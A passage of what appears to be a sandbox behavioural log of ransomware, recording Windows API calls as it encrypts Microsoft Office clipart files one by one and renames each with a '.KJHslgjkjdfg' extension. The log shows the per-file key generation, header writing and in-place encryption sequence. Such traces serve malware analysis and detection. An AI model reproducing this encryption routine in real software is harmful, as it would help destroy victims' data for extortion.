ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x794, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152890.WMF", cAlternateFileName="")) returned 1 [0174.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.169] GetProcessHeap () returned 0x2a0000 [0174.169] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.169] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.169] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.169] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0174.171] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.171] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.171] GetProcessHeap () returned 0x2a0000 [0174.171] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.171] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.171] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.171] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.171] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.172] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.172] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.172] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.172] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.172] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.172] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.172] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.172] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x794, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x794, lpOverlapped=0x0) returned 1 [0174.172] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7a0, dwBufLen=0x7a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7a0) returned 1 [0174.172] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.173] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7a0, lpOverlapped=0x0) returned 1 [0174.173] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.173] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.173] SetEndOfFile (hFile=0x114) returned 1 [0174.175] GetProcessHeap () returned 0x2a0000 [0174.175] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.175] GetProcessHeap () returned 0x2a0000 [0174.175] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.kjhslgjkjdfg")) returned 1 [0174.176] CloseHandle (hObject=0x114) returned 1 [0174.177] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x29ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152892.WMF", cAlternateFileName="")) returned 1 [0174.177] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.177] GetProcessHeap () returned 0x2a0000 [0174.177] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.177] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.177] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.178] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.179] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.179] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.179] GetProcessHeap () returned 0x2a0000 [0174.179] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.179] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.180] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.180] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.180] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.180] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.180] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.180] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.180] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.180] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.180] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.180] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.180] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x29ac, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x29ac, lpOverlapped=0x0) returned 1 [0174.181] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x29b0, dwBufLen=0x29b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x29b0) returned 1 [0174.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.181] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x29b0, lpOverlapped=0x0) returned 1 [0174.181] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.181] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.181] SetEndOfFile (hFile=0x114) returned 1 [0174.184] GetProcessHeap () returned 0x2a0000 [0174.184] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.184] GetProcessHeap () returned 0x2a0000 [0174.184] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.184] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.kjhslgjkjdfg")) returned 1 [0174.185] CloseHandle (hObject=0x114) returned 1 [0174.185] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c54, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152894.WMF", cAlternateFileName="")) returned 1 [0174.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.186] GetProcessHeap () returned 0x2a0000 [0174.186] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.186] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.186] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.186] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0174.188] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.188] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.188] GetProcessHeap () returned 0x2a0000 [0174.188] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.188] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.188] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.188] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.188] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.188] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.188] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.188] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.188] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.188] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.188] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.188] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.188] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2c54, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2c54, lpOverlapped=0x0) returned 1 [0174.189] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c60, dwBufLen=0x2c60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2c60) returned 1 [0174.189] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.189] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2c60, lpOverlapped=0x0) returned 1 [0174.190] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.190] SetEndOfFile (hFile=0x114) returned 1 [0174.192] GetProcessHeap () returned 0x2a0000 [0174.192] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.192] GetProcessHeap () returned 0x2a0000 [0174.192] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.192] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.kjhslgjkjdfg")) returned 1 [0174.193] CloseHandle (hObject=0x114) returned 1 [0174.193] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1190, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152898.WMF", cAlternateFileName="")) returned 1 [0174.193] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.194] GetProcessHeap () returned 0x2a0000 [0174.194] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.194] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.194] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.194] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.194] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.194] GetProcessHeap () returned 0x2a0000 [0174.194] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.194] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.194] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.194] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.196] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.196] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.196] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.196] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.197] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.197] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.197] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.197] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.197] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1190, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1190, lpOverlapped=0x0) returned 1 [0174.198] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1190, dwBufLen=0x1190 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1190) returned 1 [0174.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.198] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1190, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1190, lpOverlapped=0x0) returned 1 [0174.198] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1264, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.198] SetEndOfFile (hFile=0x114) returned 1 [0174.201] GetProcessHeap () returned 0x2a0000 [0174.201] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.201] GetProcessHeap () returned 0x2a0000 [0174.201] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.201] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.kjhslgjkjdfg")) returned 1 [0174.203] CloseHandle (hObject=0x114) returned 1 [0174.203] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x812c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0153047.WMF", cAlternateFileName="")) returned 1 [0174.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.205] GetProcessHeap () returned 0x2a0000 [0174.205] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.205] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.205] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.205] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.208] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.208] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.208] GetProcessHeap () returned 